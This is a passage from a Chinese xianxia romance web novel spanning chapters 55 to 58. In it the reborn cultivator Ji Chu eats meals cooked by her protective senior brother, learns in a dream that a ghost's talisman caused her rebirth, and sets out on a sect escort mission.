词穷。 好在许盈很快替她想到了理由,竖起一根手指: “啊~我知道了,毕竟你是孟师兄最在意的师妹,我从来没见过他对别人这么好,又是送剑又是做饭的,你是绝对不可能有性命之忧的!” 纪楚:“……” 她感觉自己更无话可说了。 作为前世被师兄杀掉的“入魔修士”,许盈的推测简直让她无地自容。 虽然前世那个情况,她又是浑身魔气,又是打伤守卫,又是不顾阻拦叛宗逃离……干的全是不正常的事,宗门里的其他人都不相信她,师兄会怀疑她,也很正常。 纪楚虽然心有不甘,但也知道想让师兄在任何情况下都无条件信任她,本身就是一种奢望。 这世上没有人可以无条件信任另一个人。 但这一世,她与师兄相处日久,自然知道师兄并非无情残忍之人。 他对她,几乎算的上“尽心尽力”。 好在许盈并不为难她,转头又和大家聊起了别的。 纪楚松了一口气,在心里对自己说: 她已经重生了,与师兄重新认识,重新相处,自己修炼顺利,还得到了寻真剑,只要小心维持好和师兄的距离,必不可能再走前世的老路。 她和师兄,一定不会走到上辈子的结局。 * 后来的话题已经完全跑偏,从“巫觋族到底是不是神族后裔”聊到“巫觋族旧址到底在不在云川古域”。 说到云川古域,纪楚又忍不住回忆起前世。 那时宗门上下的气氛已经有些凝重,无极宗全宗入魔,拂宇仙宗内部也有不少风言风语。 纪楚被人以沈恪的名义骗去云川古域附近,遇到魔物攻击,险些丧命。 危极关头,她利用千丝傀影自保,强行吞了魔物的一部分,这才撕开一个口子,得以逃出生天。 但那之后,她身上便沾了魔气,反被沈恪指认“勾结魔族”。 …… 那时候,她还顺手救下了一只鬼。 那个鬼自称是不羁道人的徒弟,名唤钟离白,被魔族残害至死,侥幸留得一魂。 所以她将那个鬼藏在自己身上带回宗门,原本应该是想禀报沈恪和掌门,结果却被诬陷,最终也没有机会开口。 是以直 到她死,也没有第二个人知道这只鬼的事情。 …… 不过……不羁道人? 纪楚挠头。 这个名字怎么听起来,也这么耳熟啊?! 她锤了锤自己的头,拼命回忆自己到底在哪听说过。 直到回到宗门,去明务堂交差的时候,纪楚还在一直回忆。 几个弟子捧着书从她跟前路过,中间那人抱怨道: “下周考试范围就是这本书。你们看看这上面的内容,狗屁不通,这是正常人能写出的句子吗?” 另一人叹气: “我懂你,藏书阁全是这样狗屁不通的书,上个月我也背了一本,命都快丢半条,最后还是考了个不合格……” 藏书阁?! 纪楚一下子睁大眼睛。 她想起来了! 不羁道人,不就是那个写了一堆“神仙变成牛”、通篇不找四六的离奇故事的人吗?! 她转头就跑,许盈在她身后大喊:“你分儿不要了吗?” 纪楚摆手:“你帮我领一下!” 许盈只得扭回头,冲计分的师姐露出个乖巧的笑。 纪楚急匆匆赶到藏书阁,也没管身后喊着她“御剑超速要扣分”的明务堂弟子,又一路小跑着上了四楼。 然后她一眼就在书架上看到了那本书。 位置和上次她塞的一样,上面还铺了一层灰。看起来除了她,没有其他人动过。 纪楚平复了一下呼吸,翻开书,迎面几个熟悉的大字: “特殊之人可见。” “特别的故事送给特别的你。” 纪楚:“……” 第一次看见时她只觉得作者无厘头,并未放在心上。 但现在,想起来前世那只鬼的事情以后,她反而觉得……有点诡异了。 藏书阁随手翻到的一本书,竟然写着“巫觋族”的秘闻,作者竟然还是与她前世所见有关联的人。 这真的是巧合吗? 纪楚盘腿坐在角落,重新书上的故事。 神族创世,却如凡人一般,狂妄、卑劣、用尽手段,最终自食恶果…… 如果结合神骨碎片的事情来看—— 纪楚倒吸一口凉气。 这个不羁道人,怎么好像是在嘲讽神族啊?! 如果真是这样的话,那他后面写自己见过巫觋族,说他们“通达天听,是为神使”,似乎也不是单纯的夸赞和敬佩了。 这个不羁道人写这么一本书,而且还留在拂宇仙宗的藏书阁里,到底是为了什么? 还有,如果她前世遇到的那只鬼真的是这个不羁道人的徒弟,那她看见这本书,到底是巧合,还是有意为之? 一阵凉风吹过,纪楚打了个寒颤,直觉后背发凉。 传音玉忽然亮起,在这阴暗的小角落里显得格外突兀。 纪楚吓了一跳,匆忙将其拿在手上。 “纪楚。” 对面传出来的,竟然是师兄的声音。 师兄语调一如既往的平静和淡然,因为纪楚将传音玉拿的很近,故而这句“纪楚”像是师兄贴在她耳边说的一样。 沉静,平缓,强大,内敛。 像江水撞击水下巨石,表面波澜不起,实则却能带来难以言喻的震颤。 她忍不住揉了揉耳朵,又将传音玉拿远了一些。 师兄的声音一响起,原本显得阴暗的角落竟然也没那么恐怖了。 纪楚悄悄松了口气: “师兄,怎么是你啊?” 孟喻辞察觉出她声音里的紧张,问道: “出事了吗?你在哪?” 纪楚摇头。 揺完才发现师兄看不见她的动作,于是又说道: “没事没事,师兄,我已经回到宗门了,正在藏书阁看书呢。” “嗯。” 孟喻辞只说了这个字,便没再多问。 传音玉安静下来。 纪楚只能听到传音玉对面的清浅平和的呼吸声。 她正想着师兄是不是只想试试传音玉的通话功能时,就听见对面说了句: “我做了红烧排骨,要不要来吃?”—— 作者有话说:独守空房好几天的师兄思来想去,还是得上点手段。 于是师兄:(发出美食诱惑) 纪楚:(立马上钩)[撒花] 反复跳跃的的更新时间终于要结束了[眼镜] 明天开始恢复晚上九点更新(保底一章,经常两章,不更会提前请假)[抱抱]爱你们! 顺便蹲蹲营养液和作者收藏[眼镜] 第56章 这次下山走的匆忙,甚至没机会跟师兄说一声,纪楚觉得很不好意思。 但师兄看起来并没有计较的意思。 他将红烧排骨摆在她面前,然后非常熟练地绕到她身后,帮她整了整头发,又放下一个杯子。 纪楚好奇地端起杯子喝了一口,发现竟然不是普通的水,而是酸酸甜甜的橙子汁。 她忍不住睁大眼睛夸赞: “好好喝!” 师兄听完这句话,又变魔术似的端出一碗酒酿圆子。 碗边缘有他的灵力附着,丝丝冒着寒气,雪白的圆子挤在碗里,用果酱点了圆眼睛和猫猫嘴,配上切成小块的盘盘果,最上面还有桂花做点缀。 简直是一碗需要裱起来的“艺术品”,纪楚都快不舍得吃了。 还是师兄看不下去,保证明天还会有更好的,她才舀了一大口塞进嘴里。 纪楚原本以为,在山下和许盈他们一起吃的夜宵才是最香的。 但没想到,师兄这里的饭竟然能这么好吃! 排骨大小均匀,软烂适中,味道更是一绝; 酒酿圆子摆盘精致,入口冰凉,简直是排骨的绝佳拍档。 原本她还有些犹豫,觉得总麻烦师兄给她做饭不好。 但现在好吃好喝进了嘴,她又觉得师兄这样的手艺,无人欣赏实在是太可惜了! 想必许盈他们不敢再来吃师兄做的饭,但是她敢,她愿意每天都吃! 纪楚吃饱喝足,一边跟师兄讲着她在山下遇见的有趣的事,顺便抱怨了一下外面的吃的没有师兄做的好吃,一边在心里思忖着,怎么才能不着痕迹地提出下次再来蹭饭。 谁知她还没开口,师兄就跟知道她心里想什么似的,主动提议: “明日我做水晶芙蓉卷,你吃吗?” “吃吃吃!” 纪楚下意识接话,说完又觉得自己的语气太过急切,于是她收了收下巴,故作矜持道: “是不是太麻烦师兄了。” 按照常规套路,师兄应该说一句“不麻烦”,然后她就能顺坡就驴,继续蹭饭。 谁知师兄却道: “若你觉得麻烦,今日便留在这里,帮我清理桃树的落花。” 纪楚头也不抬地回道: “谢谢师兄那我就明天再……啊?” 说到一半,她忽然意识到不对,急忙抬头,正对上师兄静静看着她的目光。 “清理落花?我吗?我留在这儿吗?” 她指着自己,一脸不可思议。 师兄用黑沉沉的眸子望着她,淡淡反问: “你不愿意?” 这话问的,她哪里能说不愿意。 “我当然愿意了。” 纪楚不情不愿地应下,心道“天底下果然没有白吃的晚餐”。 白天才回到宗门,晚上就得来师兄院子里加班。 还有这棵桃树,果然同她有仇,不是抽条就是落花,长起来就是为了气她的! 看她一脸的不高兴,孟喻辞微不可查地勾了下嘴角,很快又恢复平静神色,淡淡说道: “扫完了,就在这里打坐修行,累了也可以休息。” 不等纪楚震惊,他就又补充了一句: “我今夜不在,劳烦师妹,顺道帮我看着屋子。” “啊……哦……那好吧……” 纪楚隐约感觉哪里不太对劲。 师兄的院子也需要担心没人时候的安全问题吗? 还有打扫花瓣,这是什么新的修炼内容吗?为什么非要今晚打扫?难道是为了考验她的心性吗? 纪楚满脑子疑问。 但她看了又看,师兄始终一脸淡漠,清冷出尘,坦坦荡荡任由她打量,怎么看都不像是会算计她的人。 应该是她多虑了。 纪楚兀自点点头,在心里自言自语。 只是睡在师兄院子里,又不是睡在师兄床上,没什么奇怪的。 之前师兄给她补课教她练剑,她也是在这里一呆就是一整天。 跟现在也没什么区别嘛! 纪楚成功说服了自己,取来扫帚,任劳任怨开始扫地。 扫了东边西边落,扫了西边东边又落。 纪楚忍不住想吐槽。 但一回头,看见师兄仍目不转睛地盯着她瞧,于是她飞快调整到“积极努力”的表情,拍拍胸脯保证: “师兄你放心吧,交给我,保管你回来的时候,院子健在,并且地上一片花瓣都不会有。” 孟喻辞“嗯”了一声,站在原地看了她一会儿,才起身离开。 他刚走,纪楚就抬腿踢了桃树一脚。 粉白两色的花瓣顿时扑扑簌簌落了一地,连她头上都挂了一片。 “刚扫完你就掉?有完没完了?” “就你能开花?就你会落花瓣?” 她对着桃树指指点点: “上次打我的仇我还没跟你算呢!” 面前的树晃了晃桃枝,充耳不闻,怡然自得,继续朝地上飘花瓣。 纪楚叉腰叹了口气,垂头继续扫地。 刚在山下过了几天和朋友一起的自由日子,再回来,面对着平平无奇的宗门,平平无奇的扫地工作,她顿时觉得有点无聊,于是在心里默念剑法打发时间。 谁知念着念着,就跟打通了任督二脉似的,原本怎么都背不通顺的剑法,忽然就变得格外顺畅起来。 纪楚下意识用扫帚比划,斜劈、反刺、横切,动作一次比一次流畅,招式一次比一次连贯。 到了最后,剑气如风掠地,卷起满地花瓣,骤然朝前划过,砸得院门一阵乒乒乓乓,连一旁的桃树都为之一颤。 纪楚拿着扫帚,一回头,被花瓣盖了一脸。 她皱着脸,认命般重新打扫。 * “本尊不过派了一只灵鹤,你又是送剑,又是拦着人不让回去,难道是怕本尊对她动手吗?” 诲元仙尊简直要被自己这个好徒弟气死: “孟喻辞,你是不是已经忘了,这么多年,到底是为了什么?!” 面对他的质问,孟喻辞却道: “弟子没有忘。但纪楚不一样,我信她。” 诲元仙尊莫名从他淡漠的语气里听出几分不同寻常的意味来。 “她不一样?” 诲元仙尊冷笑一声: “若只是接触,本尊尚且还能容忍。可她倒好,竟直接吸收了神骨之力……” 说罢,他缓缓眯起眼睛,打量孟喻辞几眼,意味深长道: “巫觋族如何被神骨所害,没有人比你更清楚。” 原以为提及“巫觋族”,便能叫这个徒弟清醒过来。 谁知孟喻辞却来了句: “她不一样,她和我们都不一样。” 诲元仙尊眼皮一跳。 他莫名从孟喻辞的语气中听出几分偏执意味。 像是在沙漠中孑孑独行许久的人,终于找到了一片绿洲。 执拗,决绝。 诲元仙尊默然片刻,道: “孟喻辞,三百年前,你已败过一次,阖族皆亡。” 孟喻辞垂下的指尖轻微颤抖。 下一刻,他猝然抬起眼,神色清冷,双眸却沉似幽潭,不避不让地迎向上方仙者,带着让人心惊的偏执: “师妹如何,我最清楚。” “况且此时已不是三百年前,纪楚,也不是巫觋族那些人。” “……” 诲元仙尊一时讶然。 他很久没有说话,就这样着了孟喻辞很久。 诲元仙尊忍不住又想到巫觋族灭那日,那个白衣染血的冷漠少年。 这么多年过去了,本以为他早已修出了藏锋于鞘的剑意,却没想到,骨子里的疯竟然一点没变。 纪楚,纪楚。 她到底有什么特别,能让孟喻辞如此在意? 在意到旁人连看一眼都不许。 诲元仙尊忍不住在心里叹息。 他心下思虑良久,终究是抬手唤回纪楚院中的灵鹤,叹道: “既如此,你便将人看好,莫要逼得本尊出手。” 他端详孟喻辞几眼,忍不住关切道: “观你周身气息,只怕是又要升阶了。这一次,还要闭关压制吗?” “多谢师尊。” 孟喻辞道: “一切如旧。” * 纪楚终于将院子里的桃花打扫干净,找了块干净的地方打坐。 自从升到臻境后,她明显感觉自己的经脉扩充了一倍有余。 灵力运转相较于玄境时更加顺畅,也更加磅礴。 有时候不用刻意打坐入定,身体也会主动吸纳灵力、运转提升。 泡在灵力里的感觉,就像泡在水温适宜的温泉泡泡里,浑身上下都无比舒畅。 她精神放松下来,脑袋不自觉一点一点,竟然就保持着打坐的姿势睡着了。 这一次的梦境清晰很多。 一直在她梦里上蹿下跳的“猴子”终于有了人脸。 个子很高,五官俊朗,身量却瘦,穿着个灰扑扑还打了补丁的袍子,宛如逃荒来的难民。 这长手长脚猴子一般的人一见着她便手舞足蹈着大叫起来: “纪楚!我终于等到你了!你有没有事?他有没有对你做什么?” 纪楚:“……” 上次她猝不及防被吓了一跳,这次冷静下来,才发现对面这人的声音格外熟悉。 “你是……” 她迟疑着走上前。 对方一声大喊: “我是小白啊!” 纪楚一下子想起来了。 她前世救下的那只鬼,不就是面前这个人的声音吗?! 不过这会儿,她不该认识这个人啊? 纪楚心里困惑着,试探着问道: “钟离白?” “是我是我!” 钟离白点头如捣蒜: “谢天谢地,你还记得我……” 他看起来简直快要哭出来: “当时情况太过危险,你肉|体被伤,神魂也差点保不住,我只能用阴阳转把你送回来——” “等等!” 纪楚猛得打断他的话: “你什么意思?” 乍然听见她这么严肃的语气,正沉浸在“老乡见老乡”的喜悦中的钟离白一卡,下意识道: “……就是当时魔王想要吞噬你的神魂,然后我就用了阴阳转,把你和我一起送了回来……” 纪楚感觉脑子嗡的一声响,后面的话也听不太清了。 阴阳转? 送回来? 她的重生……难道是因为这个所谓的“阴阳转”吗? 钟离白担忧地看着她: “你还好吧?我知道这事儿没跟你商量是我不好,但是当时情况紧急,我必须得想法子保你性命啊!” “而且阴阳转是我师门仅此一张的符咒,逆转时空,扭转生死,你当时那个情况,用了也不亏的……” “你先别说话。” 纪楚蹲下来,以免自己站不稳: “让我缓缓。让我缓缓……” 待情绪稳定下来后,她抬头看向钟离白: “好,就当你说的都是真的,可是你费这么大劲救我,又几次三番来我梦里,究竟是想干什么?” “什么叫就当……” 钟离白诚恳道: “纪楚,我们是同盟啊!我们是要一起拯救修真界的啊!” “按照前世的时间,无着尊者马上就要动手了,纪楚,我们必须阻止他!” “这都是什么……?” 纪楚正待追问,她的梦境却忽然开始剧烈摇晃。 钟离白的身影随之晃动消失。 她睁开眼,猝不及防对上师兄探究的目光。 ——梦醒了。 师兄离她很近,面容沉静,容色惊人。 一双眸子里是她也看不懂的情绪。 长指如玉,轻轻搭在她额头上。 纪楚后知后觉地感受到额头上传来的微凉触感,师兄的瞳孔里映出她惊恐不安的神色。 “!” 纪楚的瞌睡虫顿时 消失,下意识朝后一仰,避开了师兄的触碰。 孟喻辞神色一顿,淡定地收回手。 然后他直起身,和她拉开距离,轻声询问: “梦见什么了?一头冷汗。”—— 作者有话说:钟离白:是的没错,整整56章了,你们终于知道重生之神是谁了[鼓掌]不才正是在下[鼓掌] 师兄:和一个男人,梦里相见?[问号] 纪楚:这该死的出轨被抓包感是怎么回事啊?! 第57章 纪楚后背的冷汗被风一吹,凉津津的。 她下意识打了个哆嗦。 孟喻辞看她一眼,从旁边拽来一个毯子,抬臂展开毯子将她罩住。 纪楚压下心里的不安,抬头看向他: “……没事的师兄,我不冷。” 师兄没说话,只把围在她身上的毯子又紧了紧: “怎么在风口睡觉?” 纪楚:“……” 她一边在心里吐槽修士怎么可能会被风吹感冒啊师兄真是太小看她了,一边下意识将脸在毛绒绒的毯子上蹭了蹭。 小猫似的。 孟喻辞眼睫一颤,垂眸,视线从纪楚睡得红扑扑的脸上移开。 “做噩梦了吗?” 他不太熟练地安慰她: “都是假的,别害怕。” 纪楚想到小白说的话,深吸了一口气,点点头,一脸认真: “我不怕,师兄,我想吃水晶芙蓉卷。” 孟喻辞轻笑: “好。” 春卷皮薄而透明,衬得里面的虾仁、蛋丝、胡萝卜十分诱人。 纪楚一连吃了五个,这才觉得空荡荡的心里有了着落。 重生有内幕、小白再出现、事情更复杂…… 其实也没那么可怕嘛! 她现在已经不是上辈子那个修为平平、自卑拧巴的“替身”了。 她是臻境修士,剑道第一的师兄亲自辅导的优秀剑修,她还是开了天眼的重生之人,她有什么好怕的! 俯世节会……无着尊者……拯救修真界…… 还有什么阴阳转…… 纪楚越想越觉得坐不住,往嘴里塞了一个芙蓉卷,来不及咽下去就要朝外跑。 孟喻辞眼疾手快将她拉住。 “咽了再跑,当心噎着。” 他扯了块干净帕子将她的手擦干净,又盯着她把嘴里的东西咽了下去,这才问道: “这么急,是要去哪?” 纪楚拍着胸口摇头,果然还是有点噎住。 孟喻辞又给她端了杯水。 纪楚咕嘟嘟一口闷。 喝个水也这么着急,都洒出来了。 孟喻辞无奈叹气,抬手将她下巴上的水珠擦去,又贴心地将她耳朵两边坠着的头发从上到下理了一遍,摆好位置。 纪楚已经等着急了: “好了吗师兄?” 孟喻辞收回手,端详她一眼,确认没有问题,于是道: “可以了。” 按理来说,师尊已经将灵鹤收回,他没有必要再找借口留下纪楚。 要想确保她的安全,只需将无着尊者除了便是。 但他还是没忍住说了句: “晚上……吃小龙虾。” “小龙虾!那我吃要超辣的!” 纪楚明显期待起来,转头又像一只快活的鸟儿一样飞出了他的院子,边大声喊着: “我会早点回来的!” 回,来。 轻飘飘两个字,却引得孟喻辞心口一跳。 他下意识看了看天色。 不过才晨光熹微,他却已经开始期待晚上。 * 纪楚直奔藏书阁。 钟离白看似诚恳,但纪楚对他并不了解,只在前世有过短暂的交流合作,况且人心隔肚皮,重生过来的修士就更不能轻信了。 还有所谓的“阴阳转”,究竟是邪术还是正统法术? 拯救修真界……靠她吗? 纪楚自己听了都想笑。 她在书架中间一排排找过去,希望能看到有关“阴阳转”的记录。 其实刚醒来的时候,她有想过去问师兄。 但是一对上师兄的眼睛,她就闭了嘴。 师兄并不好糊弄,现在一切尚未查清楚,阴阳转是正是邪更不清楚。 万一……她又被当成魔物处理了怎么办? 纪楚思考着,目光忍不住又落到了手里的书上。 阴阳转没找到,倒是又把不羁道人的书翻了出来。 她的目光又落到了上面的“特殊之人”几个大字上。 钟离白自称是不羁道人的徒弟,难道这书真是专门给她看的? “无着尊者要动手了”…… 无着尊者是谁来着? 纪楚锤自己的头,勉强敲出一点信息来。 那会儿应该是问仙大会之后不久,她又被沈恪罚了禁闭。 被罚的原因已经不记得了,只记得宗门那段时间流言蜚语不断,都说无极宗阖宗叛魔,是受了神的指示…… 之所以还对这件事有印象,是因为她便是在那段时间赌气下山,中了情蛊,被师兄所救…… 纪楚猛地锤了下自己的头。 打住打住,别想这些有的没的,要想无着尊者,到底在哪儿听说过无着尊者…… 纪楚快被自己一无所知的前世逼疯了。 早知道会重生,还有了个“特殊之人”的名号,她就应该早点把沈恪当空气,专心打听修真界的消息的! 直到回到师兄的院子里,她还在试图想起点什么。 从孟喻辞视角来看,纪楚自回来后便一直咬着杯子边缘发呆,也不喝水,只用上下牙磕着,一脸苦大仇深。 他动作利落地剥出一只虾,一手将杯子从纪楚牙下移开,一边将剥好的虾放到她嘴边。 “张嘴。” 纪楚想也不想就乖乖张嘴,将送到嘴边的虾咬进去然后开始嚼嚼嚼。 辣椒有点多,她吃了虾后又想喝水,然而还不等她动手,杯子就已经出现在她嘴边,里面是满满的水,不用低头也能喝到。 她喝完水,很快新一只的虾又出现在嘴边。 师兄做饭师兄剥虾,师兄喂饭师兄倒水,纪楚全程只负责张嘴嚼嚼嚼吨吨吨。 直到她回过神来,急忙说可以自己剥的时候,才发现师兄面前的虾壳已经堆成了小山,而盘子里的虾也已经所剩无几了。 纪楚:尴尬。 吃的时候没觉得,现在一看,师兄几乎已经帮她把所有的虾都剥完了。 她赶紧将最后几只虾放到自己面前: “师兄你剥好久了,剩下的我自己来吧!” 孟喻辞收回手,面上没什么,心里却生出几分淡淡的遗憾。 他看着纪楚和虾壳争斗的动作,忍不住提醒: “小心点,别伤着手。” 纪楚“害”了一声: “放心吧师兄,我很专业的!” 掐头去尾,拽出虾仁,塞进嘴里,然后被辣得嘴唇红肿。 纪楚半张着嘴,伸手在嘴边扇了扇风,聊胜于无,然后赶在师兄之前拿起杯子喝了半杯水。 孟喻辞拿杯子的手落了空,目光忍不住顺着她喝水的动作落到她唇上。 他眸光一顿,伸出的手来不及收回,指节顿在半空。 纪楚一边自言自语念着“好辣但是好好吃”,一边看见他的动作,于是了然地点点头,三两下拽出一只完整的虾仁,“欻”一下怼到他嘴边: “师兄,你是不是也想吃?” 弹性十足的一只虾,被她用的像是暗器,怼得孟喻辞嘴唇都凹进去一点。 形状优美的薄唇一下子被这又红又辣的虾染上了艳红之色,像是极其鲜艳的玫瑰花瓣,越发显得面前人肤色玉白,双眸漆黑。 纪楚眨巴眼,再次将胳膊朝前送: “师兄快尝尝,好吃的!” 孟喻辞抬手拉住她手腕,阻止她继续把虾仁朝自己脸上戳的动作,然后微微低头,薄唇轻启,露出点雪白的牙齿。 上下唇极快极轻地一合,便从她手上将虾仁整个包裹进口腔。 纪楚只觉一丝清浅的热气抚过她手指,而后有什么极其柔软却带着点凉的东西蹭过她指尖,转瞬即逝。 手上一空。 孟喻辞姿态优雅地咽下这只虾,黑沉的双眸望着她的脸,认真道: “好吃。” 纪楚的心猛的一跳。 刚刚那一闪而过的触感再度浮现,她觉得自己的指尖开始发烫,于是飞快从师兄手中拽出自己的手腕,手指在身后蹭了蹭。 师兄专注的目光始终落在她脸上,纪楚莫名有些紧张,于是垂 头避开对视,说了句: “都是师兄厨艺高超……要不——最后这只也给师兄吧……” 说着她又要再剥一只虾给他吃,孟喻辞及时阻止她: “不必,你吃就好。” 说着他侧过身,不再盯着她瞧。 “那好吧。” 随着师兄目光的移开,纪楚终于觉得那种古怪的感觉消失了。 她将乱七八糟的念头抛之脑后,顺势将最后一只虾仁塞进自己嘴里,然后很快被美食抚慰了内心的痛苦: 果然!重生还是有好处的啊! 上辈子她哪有机会吃到这么好吃的东西! 孟喻辞非常自然地拿帕子给她擦手,他的坦然更让纪楚觉得自己想多了。 她盯着师兄线条流畅棱角分明的下颌线看了一会儿,脑袋里忽然闪过一道电光。 她想起来了! 就是在她中情蛊、被师兄救下、又灰溜溜回到宗门之后,一次偶然,听见沈恪在和别人谈事。 她没敢凑太近,只隐约听到沈恪提及了“无着尊者”、“被害”等字眼。 无着尊者被人杀了? 钟离白不是说,他要“动手”吗?难道是被人报复杀害了? 纪楚觉得脑子更加糊涂,忍不住念叨出声: “……是谁杀了他?” 孟喻辞的动作一顿,抬眼看了她一眼。 纪楚猛地回过神来,欲盖弥彰地摇头: “没事没事,师兄,我在想话本子呢。” 孟喻辞收回视线,继续仔细将她的每根手指都擦干净,然后将她挽着的袖子放下,压平整,这才开口道: “什么话本子?” 纪楚:“……” 她表情苦涩:“就是……恩怨情仇,恨海情天,酱酱酿酿……啊,不是……” 师兄平静的目光望着她,似乎可以看到她心里去。 纪楚果断闭了嘴。 好在师兄并没有追究,甚至平静到近乎纵容: “好吧,没想到你喜欢这些。” 纪楚尴尬地抓了抓自己后脑勺的头发: “啊……是的,我怎么能喜欢这些呢……” 孟喻辞帮她顺了顺被抓乱的头发: “好了,别抓了。” 他的目光在她后颈空羽浮花处一扫而过。 虽然有空羽浮花在,危险时他定然能及时感觉到。 但一想到自己多日不在,纪楚又是这么个不安分的性子,他就觉得格外担心。 师尊虽然答应了不会动手,可难保意外。 于是拉过纪楚手腕,指尖凝结灵力,在她手腕上飞速画了个剑符。 纪楚一脸茫然。 孟喻辞收回手,道: “我会闭关几天,不在你身边时,自己要小心。寻真剑不可离手。其他任何人,包括宗门之人,都不要太过信赖。” “师兄你要闭关?” 纪楚下意识问道: “为什么?你受伤了吗?会闭关很久吗?” 不说她还没注意,这么一看,师兄的脸色好像是有点过分白了,不会真的受伤了吧? 她下意识伸手就想去摸。 被孟喻辞拦下。 面对着纪楚语气和表情里明显的惊慌和急促,若非知道她只把自己当成师兄,孟喻辞几乎要觉得,她是在舍不得他了。 怎么可能…… 上次下山,她一言不发就走了,好些天没有消息,回来时又神采奕奕讲述着她在山下的经历,显然是玩疯了。 如今自己闭关离开,她只怕更觉得没人管了很自在。 怎么会舍不得他? 孟喻辞心里悄然生出几分难以言喻的酸涩,开口时却又格外淡然,只道: “只是寻常修炼罢了。顺利的话,不会很久。” 说着他板起脸,又交代道: “纵使无人看管,你的修行也不可懈怠,莫要只顾着玩。” “没受伤就好。” 纪楚忙不迭点头: “好的师兄,我会好好修炼的。” 孟喻辞看她片刻,又从一旁拿出一个满满当当的储物袋: “这里面装了一些常用的丹药和灵符,还有你爱吃的零食和盘盘果。下次出任务,记得带着。” 最好是在吃的时候,偶尔也想一想他—— 作者有话说:师兄:(浅浅勾引) 纪楚:[问号],一定是想多了[抱抱] 暗恋是师兄一个人的兵荒马乱。[无奈] 第58章 师兄闭关后,纪楚加班加点在藏书阁翻找有关阴阳转的信息,始终一无所获。 倒是又梦见了一次钟离白。 好不容易联系上纪楚,他格外激动,在梦里不断追忆前世两人联手斩杀魔王的过程。 “你我当机立断,一路杀出宗门,直捣魔王老巢!这不帅吗?!” 纪楚:“……不是很帅,我简直是恶名加身、落荒而逃,而且最后还死了。” “格局小了!” 钟离白不赞同: “成大事者不拘小节,你是救世之人,前世失败只是你今生成功的开始,支棱起来!对我们这辈子的合作有信心起来!” 纪楚:“……好吧。” 她实在很怀疑“救世”的说法,但是钟离白坚持,她也只好暂时接受。 想起了什么,她又问道: “你前世,是被哪个魔物杀的啊?” 钟离白一脸不解: “我没告诉你吗?就是无着尊者啊。” “无着尊者?!” 纪楚倒吸一口凉气:“他也入魔了吗?” “就是他!” 钟离白愤愤道: “自称什么奉神者,其实就是个邪的没边的魔头!无极宗入魔,还有其他修士,都是被他蛊惑的!” “我师父不羁道人,早就知道他有问题,没想到千防万防,我还是栽在他手上。” 说着他问道: “之前我好几次进你梦里提醒你小心他,你没听见吗?” 纪楚:“……不好意思,那会儿我以为你是猴子来着。” 钟离白:“……” 他只好又强调了一遍: “上辈子,他一掌就拍碎了我的胸骨,当场毙命!” 他摸了摸自己干瘪瘪的胸膛,按了按完好无损的肋骨,露出后怕的表情: “好在你来之前,就有个手持长剑的英雄,一剑把他剁得魂飞魄散!真是解气!可惜还是有点魔魂残留,差点把你也害死了……” 这就和她的记忆连上了。 果然有人杀了无着尊者。 纪楚点点头,又问: “是哪位英雄把他剁了?我能提前找到那个人,让他和我们一起阻止无着尊者吗?” “你以为我不想吗?” 钟离白蹲在地上叹气: “可惜当时我魂魄大伤,意识不清,压根不知道发生了什么。联系不上你的这些日子我也打听了,什么线索都没有,恐怕还是得咱俩出手……” 纪楚在梦里和他一起叹气。 “总之,还是先见面吧。” * 明务堂派的新任务,是护送宗门至宝“聚魂灯”去薛家,助力薛晚凝聚魂。 许盈一听就炸了。 让纪楚去帮薛晚凝聚魂?亏他明务堂想的出来!他怎么不去xx? 但她跑去明务堂质问了一通,却只得到个“任务分配是经过综合考量的,拒绝任务是会被倒扣分数的”这样的回答。 许盈于是磨牙,召集蒋成旭陈梧开会,连夜制订了一百种报复方案。 都被纪楚叫停了。 直到临出发前,许盈还再不停试探,在得知纪楚真的没有打算半路砸了聚魂灯后,她失望透顶。 纪楚压根没有打 算破坏任务。 毕竟薛晚凝和她也没有直接的矛盾,能否顺利聚魂本身也和她没有关系。 况且这个任务轻松简单又不费脑子,一路上只需要坐着云舟发呆就行。她正好可以和小白商量一下接下来的计划。 当然最重要的是,小白告诉她,前世第一个入魔的并非无极宗,而是薛家。 倘若无着尊者真的是从薛家开始动手的,他们正好可以赶去阻止。 行程就此敲定。 只是临到出发这天,宗门口却站着一个意料之外的人。 孔回端一脸不耐烦地站在宗门口,见着纪楚几人便嘲讽道: “呦,这不是我们问仙大会的前三名吗?男不男,女不女,还有一个险些毁了小世界,接过遭雷劈的。” 纪楚:“……” 蒋成旭上前一步: “我们接了护送‘聚魂灯’的任务,灯呢?” 孔回端将聚魂灯拿出在几人眼前一晃。 蒋成旭上前去接,他却反手又将灯收了起来。 许盈怒道:“你什么意思?你想耽误宗门的任务吗?” 孔回端傲慢道: “聚魂灯事关瑶月仙子,师父怎会放心交给你们?自然是由我,亲自护送。” “你来护送?” 许盈上下扫视他一眼: “你问仙大会排第几?你也配?” “啊我差点忘了。” 不等对方回答,她捂着嘴假装震惊: “你因为残害同门,被孟师兄直接淘汰了!没、有、名、次!!!” 陈梧忍不住“噗嗤”一声。 孔回端大怒,伸手指着他: “你个最早淘汰的人,为什么会在这儿?” 陈梧:“我……我是掌门特批。去帮大家示警的。” 此行经过冥界枉死城,有陈梧这样对鬼魂敏感的人在,可以规避许多危险。 孔回端冷哼一声,扫视纪楚一眼,意有所指: “莫说宗门不信任你们,就是薛家,也不会信。” 说完他一甩手,变出一艘云舟悬浮在半空,扔下一句“希望你们一路上都能这么得意”,率先上了云舟。 纪楚听完一愣。 孔回端的语气十分古怪,好像这次任务一定会发生意外似的。 许盈忍不住骂道: “我呸!既然不信我们,干嘛要把任务派给我们?我看,分明是他们广玄峰的人心里有鬼!” 然后愤愤不平地率先上了云舟。 纪楚压下心里的怀疑,跟着上去。 或许是因为提防他们聚魂灯下手,之后的行程,孔回端始终一个人留在云舟前端。 而聚魂灯也一直在他手中,纪楚几人只在出发前看了一眼,之后再没见过。 纪楚坐下后,低头从随身携带的储物袋里掏了掏,摸出一些零食分给大家。 许盈捧了满手的坚果和糖果,一脸惊讶: “你怎么有这么多好吃的?!” 纪楚又从储物袋里拿出软垫给几人铺好,一边说: “师兄给的。” “孟师兄?” 许盈大为震撼,将手里的东西倒给蒋成旭和陈梧,脑袋凑过去,和纪楚一起看她的储物袋。 “衣服、发簪、梳子、镜子、灵石、灵符、丹药、盘盘果、烤鸭、蘸料……不是,怎么连橙汁都有啊?!” “这简直是给你装了一个移动的屋子啊!” 她看向纪楚,一脸怀疑: “你说的孟师兄,是我们认识的那个人吗?” 纪楚拿出一杯分装好的橙汁递给她: “当然了,我就一个师兄啊。” 许盈急忙摆手拒绝: “不了不了不了……” 